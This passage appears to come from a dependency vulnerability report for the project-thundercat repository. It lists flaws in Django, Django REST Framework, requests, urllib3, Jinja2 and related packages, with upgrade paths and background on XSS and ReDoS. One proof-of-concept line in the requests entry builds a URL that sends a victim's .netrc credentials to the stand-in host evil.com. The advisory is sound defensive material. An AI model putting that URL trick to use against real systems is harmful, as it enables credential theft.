class. This allows attackers to enumerate user email addresses by brute forcing password reset requests and observing the outcomes.
Remediation
Upgrade django
to version 4.2.16, 5.0.9, 5.1.1 or higher.
References
medium severity
- Vulnerable module: django
- Introduced through: django@2.1.7, django-cors-headers@3.0.0 and others
Detailed paths
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django@2.1.7Remediation: Upgrade to django@2.1.15.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-cors-headers@3.0.0 › django@2.1.7Remediation: Upgrade to django-cors-headers@3.0.0.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-debug-toolbar@1.11 › django@2.1.7Remediation: Upgrade to django-debug-toolbar@1.11.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › djangorestframework-simplejwt@4.3.0 › django@2.1.7Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
Overview
Django is a high-level Python Web framework that encourages rapid development and clean, pragmatic design.
Affected versions of this package are vulnerable to Privilege Escalation. A Django model admin displaying inline related models, where the user has view-only permissions to a parent model but edit permissions to the inline model, would be presented with an editing UI, allowing POST requests, for updating the inline model. Directly editing the view-only parent model was not possible, but the parent model's save()
method was called, triggering potential side effects, and causing pre and post-save signal handlers to be invoked.
Remediation
Upgrade Django
to version 2.1.15, 2.2.8 or higher.
References
medium severity
- Vulnerable module: django
- Introduced through: django@2.1.7, django-cors-headers@3.0.0 and others
Detailed paths
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django@2.1.7Remediation: Upgrade to django@4.2.14.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-cors-headers@3.0.0 › django@2.1.7Remediation: Upgrade to django-cors-headers@3.0.0.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-debug-toolbar@1.11 › django@2.1.7Remediation: Upgrade to django-debug-toolbar@1.11.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › djangorestframework-simplejwt@4.3.0 › django@2.1.7Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
Overview
Affected versions of this package are vulnerable to Timing Attack via the django.contrib.auth.backends.ModelBackend.authenticate()
method. This allows remote attackers to enumerate users via a timing attack involving login requests for users with unusable passwords.
Remediation
Upgrade django
to version 4.2.14, 5.0.7 or higher.
References
medium severity
- Vulnerable module: djangorestframework
- Introduced through: djangorestframework@3.9.3, django-rest-swagger@2.2.0 and others
Detailed paths
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › djangorestframework@3.9.3Remediation: Upgrade to djangorestframework@3.11.2.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-rest-swagger@2.2.0 › djangorestframework@3.9.3
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › djangorestframework-simplejwt@4.3.0 › djangorestframework@3.9.3Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
Overview
djangorestframework is a powerful and flexible toolkit for building Web APIs.
Affected versions of this package are vulnerable to Cross-site Scripting (XSS). When using the browseable API viewer, Django REST Framework fails to properly escape certain strings that can come from user input. This allows a user who can control those strings to inject malicious <script>
tags.
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, <
can be coded as <
; and >
can be coded as >
; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses <
and >
as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
Type | Origin | Description |
---|---|---|
Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?
,&
,/
,<
,>
and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade djangorestframework
to version 3.11.2 or higher.
References
medium severity
- Vulnerable module: idna
- Introduced through: idna@2.8, requests@2.21.0 and others
Detailed paths
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › idna@2.8Remediation: Upgrade to idna@3.7.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › requests@2.21.0 › idna@2.8Remediation: Upgrade to requests@2.32.0.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › coreapi@2.3.3 › requests@2.21.0 › idna@2.8Remediation: Upgrade to coreapi@2.3.3.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › openapi-codec@1.3.2 › coreapi@2.3.3 › requests@2.21.0 › idna@2.8Remediation: Upgrade to openapi-codec@1.3.2.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-rest-swagger@2.2.0 › coreapi@2.3.3 › requests@2.21.0 › idna@2.8
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-rest-swagger@2.2.0 › openapi-codec@1.3.2 › coreapi@2.3.3 › requests@2.21.0 › idna@2.8
Overview
Affected versions of this package are vulnerable to Resource Exhaustion via the idna.encode
function. An attacker can consume significant resources and potentially cause a denial-of-service by supplying specially crafted arguments to this function.
Note: This is triggered by arbitrarily large inputs that would not occur in normal usage but may be passed to the library assuming there is no preliminary input validation by the higher-level application.
Remediation
Upgrade idna
to version 3.7 or higher.
References
medium severity
- Vulnerable module: requests
- Introduced through: requests@2.21.0, coreapi@2.3.3 and others
Detailed paths
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › requests@2.21.0Remediation: Upgrade to requests@2.31.0.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › coreapi@2.3.3 › requests@2.21.0Remediation: Upgrade to coreapi@2.3.3.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › openapi-codec@1.3.2 › coreapi@2.3.3 › requests@2.21.0Remediation: Upgrade to openapi-codec@1.3.2.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-rest-swagger@2.2.0 › coreapi@2.3.3 › requests@2.21.0
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-rest-swagger@2.2.0 › openapi-codec@1.3.2 › coreapi@2.3.3 › requests@2.21.0
Overview
Affected versions of this package are vulnerable to Information Exposure by leaking Proxy-Authorization
headers to destination servers during redirects to an HTTPS origin. This is a result of how rebuild_proxies
is used to recompute and reattach the Proxy-Authorization
header to requests when redirected.
NOTE: This behavior has only been observed to affect proxied requests when credentials are supplied in the URL user information component (e.g. https://username:password@proxy:8080
), and only when redirecting to HTTPS:
HTTP → HTTPS: leak
HTTPS → HTTP: no leak
HTTPS → HTTPS: leak
HTTP → HTTP: no leak
For HTTP connections sent through the proxy, the proxy will identify the header in the request and remove it prior to forwarding to the destination server. However when sent over HTTPS, the Proxy-Authorization
header must be sent in the CONNECT
request as the proxy has no visibility into further tunneled requests. This results in Requests forwarding the header to the destination server unintentionally, allowing a malicious actor to potentially exfiltrate those credentials.
Workaround
This vulnerability can be avoided by setting allow_redirects
to False
on all calls through Requests top-level APIs, and then capturing the 3xx response codes to make a new request to the redirect destination.
Remediation
Upgrade requests
to version 2.31.0 or higher.
References
medium severity
- Vulnerable module: urllib3
- Introduced through: urllib3@1.24.3, requests@2.21.0 and others
Detailed paths
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › urllib3@1.24.3Remediation: Upgrade to urllib3@1.26.19.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › requests@2.21.0 › urllib3@1.24.3Remediation: Upgrade to requests@2.32.0.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › coreapi@2.3.3 › requests@2.21.0 › urllib3@1.24.3Remediation: Upgrade to coreapi@2.3.3.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › openapi-codec@1.3.2 › coreapi@2.3.3 › requests@2.21.0 › urllib3@1.24.3Remediation: Upgrade to openapi-codec@1.3.2.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-rest-swagger@2.2.0 › coreapi@2.3.3 › requests@2.21.0 › urllib3@1.24.3
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-rest-swagger@2.2.0 › openapi-codec@1.3.2 › coreapi@2.3.3 › requests@2.21.0 › urllib3@1.24.3
Overview
urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.
Affected versions of this package are vulnerable to Improper Removal of Sensitive Information Before Storage or Transfer due to the improper handling of the Proxy-Authorization
header during cross-origin redirects when ProxyManager
is not in use. When the conditions below are met, including non-recommended configurations, the contents of this header can be sent in an automatic HTTP redirect.
Notes:
To be vulnerable, the application must be doing all of the following:
Setting the
Proxy-Authorization
header without using urllib3's built-in proxy support.Not disabling HTTP redirects (e.g. with
redirects=False
)Either not using an HTTPS origin server, or having a proxy or target origin that redirects to a malicious origin.
Workarounds
Using the
Proxy-Authorization
header with urllib3'sProxyManager
.Disabling HTTP redirects using
redirects=False
when sending requests.Not using the
Proxy-Authorization
header.
Remediation
Upgrade urllib3
to version 1.26.19, 2.2.2 or higher.
References
medium severity
- Vulnerable module: urllib3
- Introduced through: urllib3@1.24.3, requests@2.21.0 and others
Detailed paths
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › urllib3@1.24.3Remediation: Upgrade to urllib3@2.5.0.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › requests@2.21.0 › urllib3@1.24.3Remediation: Upgrade to requests@2.32.0.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › coreapi@2.3.3 › requests@2.21.0 › urllib3@1.24.3Remediation: Upgrade to coreapi@2.3.3.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › openapi-codec@1.3.2 › coreapi@2.3.3 › requests@2.21.0 › urllib3@1.24.3Remediation: Upgrade to openapi-codec@1.3.2.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-rest-swagger@2.2.0 › coreapi@2.3.3 › requests@2.21.0 › urllib3@1.24.3
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-rest-swagger@2.2.0 › openapi-codec@1.3.2 › coreapi@2.3.3 › requests@2.21.0 › urllib3@1.24.3
Overview
urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.
Affected versions of this package are vulnerable to Open Redirect due to the retries
parameter being ignored during PoolManager
instantiation. An attacker can access unintended resources or endpoints by leveraging automatic redirects when the application expects redirects to be disabled at the connection pool level.
Note:
requests
and botocore
users are not affected.
Workaround
This can be mitigated by disabling redirects at the request()
level instead of the PoolManager()
level.
Remediation
Upgrade urllib3
to version 2.5.0 or higher.
References
medium severity
- Vulnerable module: django
- Introduced through: django@2.1.7, django-cors-headers@3.0.0 and others
Detailed paths
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django@2.1.7Remediation: Upgrade to django@3.2.22.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-cors-headers@3.0.0 › django@2.1.7Remediation: Upgrade to django-cors-headers@3.0.0.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-debug-toolbar@1.11 › django@2.1.7Remediation: Upgrade to django-debug-toolbar@1.11.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › djangorestframework-simplejwt@4.3.0 › django@2.1.7Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
Overview
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the chars()
and words()
methods in the django.utils.text.Truncator
function. An attacker can cause a denial of service by exploiting the inefficient regular expression complexity, which exhibits linear backtracking complexity and can be slow, given certain long and potentially malformed HTML inputs.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade django
to version 3.2.22, 4.1.12, 4.2.6 or higher.
References
medium severity
- Vulnerable module: urllib3
- Introduced through: urllib3@1.24.3, requests@2.21.0 and others
Detailed paths
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › urllib3@1.24.3Remediation: Upgrade to urllib3@1.26.17.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › requests@2.21.0 › urllib3@1.24.3Remediation: Upgrade to requests@2.32.0.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › coreapi@2.3.3 › requests@2.21.0 › urllib3@1.24.3Remediation: Upgrade to coreapi@2.3.3.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › openapi-codec@1.3.2 › coreapi@2.3.3 › requests@2.21.0 › urllib3@1.24.3Remediation: Upgrade to openapi-codec@1.3.2.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-rest-swagger@2.2.0 › coreapi@2.3.3 › requests@2.21.0 › urllib3@1.24.3
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-rest-swagger@2.2.0 › openapi-codec@1.3.2 › coreapi@2.3.3 › requests@2.21.0 › urllib3@1.24.3
Overview
urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.
Affected versions of this package are vulnerable to Information Exposure Through Sent Data when the Cookie
HTTP header is used. An attacker can leak information via HTTP redirects to a different origin by exploiting the fact that the Cookie
HTTP header isn't stripped on cross-origin redirects.
Note:
This is only exploitable if the user is using the Cookie
header on requests, not disabling HTTP redirects, and either not using HTTPS or for the origin server to redirect to a malicious origin.
##Workaround:
This vulnerability can be mitigated by disabling HTTP redirects using redirects=False
when sending requests and by not using the Cookie
header.
Remediation
Upgrade urllib3
to version 1.26.17, 2.0.6 or higher.
References
medium severity
- Vulnerable module: requests
- Introduced through: requests@2.21.0, coreapi@2.3.3 and others
Detailed paths
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › requests@2.21.0Remediation: Upgrade to requests@2.32.4.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › coreapi@2.3.3 › requests@2.21.0Remediation: Upgrade to coreapi@2.3.3.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › openapi-codec@1.3.2 › coreapi@2.3.3 › requests@2.21.0Remediation: Upgrade to openapi-codec@1.3.2.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-rest-swagger@2.2.0 › coreapi@2.3.3 › requests@2.21.0
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-rest-swagger@2.2.0 › openapi-codec@1.3.2 › coreapi@2.3.3 › requests@2.21.0
Overview
Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data due to incorrect URL processing. An attacker could craft a malicious URL that, when processed by the library, tricks it into sending the victim's .netrc
credentials to a server controlled by the attacker.
Note:
This is only exploitable if the .netrc
file contains an entry for the hostname that the attacker includes in the crafted URL's "intended" part (e.g., example.com
in http://example.com:@evil.com/
).
PoC
requests.get('http://example.com:@evil.com/')
Remediation
Upgrade requests
to version 2.32.4 or higher.
References
medium severity
- Vulnerable module: requests
- Introduced through: requests@2.21.0, coreapi@2.3.3 and others
Detailed paths
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › requests@2.21.0Remediation: Upgrade to requests@2.32.2.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › coreapi@2.3.3 › requests@2.21.0Remediation: Upgrade to coreapi@2.3.3.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › openapi-codec@1.3.2 › coreapi@2.3.3 › requests@2.21.0Remediation: Upgrade to openapi-codec@1.3.2.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-rest-swagger@2.2.0 › coreapi@2.3.3 › requests@2.21.0
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-rest-swagger@2.2.0 › openapi-codec@1.3.2 › coreapi@2.3.3 › requests@2.21.0
Overview
Affected versions of this package are vulnerable to Always-Incorrect Control Flow Implementation when making requests through a Requests Session
. An attacker can bypass certificate verification by making the first request with verify=False
, causing all subsequent requests to ignore certificate verification regardless of changes to the verify
value.
Notes:
For requests <2.32.0, avoid setting
verify=False
for the first request to a host while using a Requests Session.For requests <2.32.0, call
close()
on Session objects to clear existing connections ifverify=False
is used.This vulnerability was initially fixed in version 2.32.0, which was yanked. Therefore, the next available fixed version is 2.32.2.
Remediation
Upgrade requests
to version 2.32.2 or higher.
References
medium severity
- Vulnerable module: djangorestframework-simplejwt
- Introduced through: djangorestframework-simplejwt@4.3.0
Detailed paths
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › djangorestframework-simplejwt@4.3.0Remediation: Upgrade to djangorestframework-simplejwt@5.5.1.
Overview
djangorestframework-simplejwt is an A minimal JSON Web Token authentication plugin for Django REST Framework
Affected versions of this package are vulnerable to Information Exposure due to improper handling of sensitive information. An attacker can access web application resources even after their account has been disabled due to missing user validation checks via the for_user
method.
Workaround
Ensure that before generating an access token for a user, there is a thorough verification process to determine whether the user is active or not. This validation step is essential in preventing unauthorized access and helps mitigate the vulnerability associated with the lack of user inactivity validation in the mentioned functionality. Implementing this check adds an extra layer of security to your application.
from django.contrib.auth.models import User
from rest_framework_simplejwt.tokens import AccessToken
user = User.objects.get(id=inactive_user_id)
if user and user.is_active:
token = AccessToken.for_user(user)
Remediation
Upgrade djangorestframework-simplejwt
to version 5.5.1 or higher.
References
medium severity
- Vulnerable module: jinja2
- Introduced through: jinja2@2.10.1, coreschema@0.0.4 and others
Detailed paths
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › jinja2@2.10.1Remediation: Upgrade to jinja2@3.1.3.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › coreschema@0.0.4 › jinja2@2.10.1Remediation: Upgrade to coreschema@0.0.4.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › coreapi@2.3.3 › coreschema@0.0.4 › jinja2@2.10.1Remediation: Upgrade to coreapi@2.3.3.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › openapi-codec@1.3.2 › coreapi@2.3.3 › coreschema@0.0.4 › jinja2@2.10.1Remediation: Upgrade to openapi-codec@1.3.2.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-rest-swagger@2.2.0 › coreapi@2.3.3 › coreschema@0.0.4 › jinja2@2.10.1
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › django-rest-swagger@2.2.0 › openapi-codec@1.3.2 › coreapi@2.3.3 › coreschema@0.0.4 › jinja2@2.10.1
Overview
Jinja2 is a template engine written in pure Python. It provides a Django inspired non-XML syntax but supports inline expressions and an optional sandboxed environment.
Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the xmlattr
filter, when using keys containing spaces in an application accepts keys as user input. An attacker can inject arbitrary HTML attributes into the rendered HTML template, bypassing the auto-escaping mechanism, which may lead to the execution of untrusted scripts in the context of the user's browser session.
Note
Accepting keys as user input is not common or a particularly intended use case of the xmlattr
filter, and an application doing so should already be verifying what keys are provided regardless of this fix.
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, <
can be coded as <
; and >
can be coded as >
; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses <
and >
as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
Type | Origin | Description |
---|---|---|
Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?
,&
,/
,<
,>
and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade Jinja2
to version 3.1.3 or higher.
References
medium severity
- Vulnerable module: jinja2
- Introduced through: jinja2@2.10.1, coreschema@0.0.4 and others
Detailed paths
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › jinja2@2.10.1Remediation: Upgrade to jinja2@3.1.4.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › coreschema@0.0.4 › jinja2@2.10.1Remediation: Upgrade to coreschema@0.0.4.
-
Introduced through: code-for-canada/project-thundercat@code-for-canada/project-thundercat#12b2f79872273bb0ac4736d709b8e0904bc54258 › coreapi@2.3.3 › coreschema@0.0.4 › jinja2@2.10.1Remediation: Upgrade to coreapi@2.3.3.
-
